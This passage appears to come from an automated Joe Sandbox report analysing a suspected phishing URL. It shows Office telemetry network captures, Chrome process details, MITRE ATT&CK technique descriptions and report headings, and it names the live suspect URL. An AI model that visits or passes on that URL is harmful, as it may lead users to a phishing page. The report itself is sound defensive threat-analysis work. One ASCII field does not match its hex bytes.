<RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.12	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:37 UTC	199	OUT	GET /rules/rule704100v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:38 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFEB4313" x-ms-request-id: f787d6a9-d01e-00ad-26f7-93e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090838Z-16c75594899bpvh5hC1MEM4zp800000005ng000000001435 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 69 76 61 63 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 69 76 61 63 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704100" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Privacy" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPrivacy" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.12	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:38 UTC	199	OUT	GET /rules/rule704201v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:38 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:38 GMT Content-Type: text/xml Content-Length: 1417 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEABDBBEE" x-ms-request-id: 92ad5ce9-b01e-0002-3bf7-931b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090838Z-16c75594899b7k67hC1MEMm6nc00000008d0000000000rst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:38 UTC	1417	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 32 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704201" V="0" DC="SM" EN="Office.Telemetry.Event.Office.CommandExecution.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTena

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.12	49793	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:38 UTC	199	OUT	GET /rules/rule704200v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:39 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:38 GMT Content-Type: text/xml Content-Length: 1380 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6940EAC" x-ms-request-id: df0dfaf2-801e-007b-59f7-93e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090838Z-16c75594899cd7hvhC1MEMapks00000009cg0000000006rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:39 UTC	1380	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 32 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704200" V="0" DC="SM" EN="Office.Telemetry.Event.Office.CommandExecution" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCommandExecution" S="Medium" /

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.12	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:38 UTC	199	OUT	GET /rules/rule704151v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:39 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBDA4D00" x-ms-request-id: 899ca49a-a01e-0098-33f7-938556000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090839Z-16c75594899qslz2hC1MEMm9b800000007wg000000001dgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 44 6f 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704151" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AppDocs.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAp

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.12	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:40 UTC	199	OUT	GET /rules/rule704150v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6791082" x-ms-request-id: c2bd0b48-401e-005b-61c9-919c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090841Z-16c75594899kql76hC1MEM0bv800000008qg000000000xzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-13 09:08:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 31 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 44 6f 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 44 6f 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704150" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AppDocs" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAppDocs" S="Medium" /> <F T="2">

Target ID:	0
Start time:	05:07:29
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff743610000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:07:32
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,7910549151802583560,15550062184411873436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
Imagebase:	0x7ff743610000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:07:39
Start date:	13/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari"
Imagebase:	0x7ff743610000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Static File Info

Windows Analysis Report
https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari